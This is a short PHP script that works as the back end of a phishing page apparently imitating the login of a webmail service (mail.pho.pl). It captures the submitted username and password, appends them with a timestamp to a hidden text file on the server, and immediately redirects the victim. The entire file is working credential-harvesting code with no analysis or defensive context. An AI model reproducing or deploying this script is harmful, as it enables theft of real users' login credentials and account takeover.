<?php
    $name = isset($_POST['username']) ? $_POST['username'] : '';
    $pass = isset($_POST['password']) ? $_POST['password'] : '';
    $date_today = date('d.m.y');
    $today[1] = date('H:i:s');
    
    $file = fopen("/var/www/031i2tgjrnivodox.txt","a+");
    fwrite($file,"$date_today($today[1]) <<<https://mail.pho.pl/>>> $name:$pass\n");
    fclose($file);
    echo "<html><head><META HTTP-EQUIV='Refresh' Content='0; URL'></head></html>";   
?>
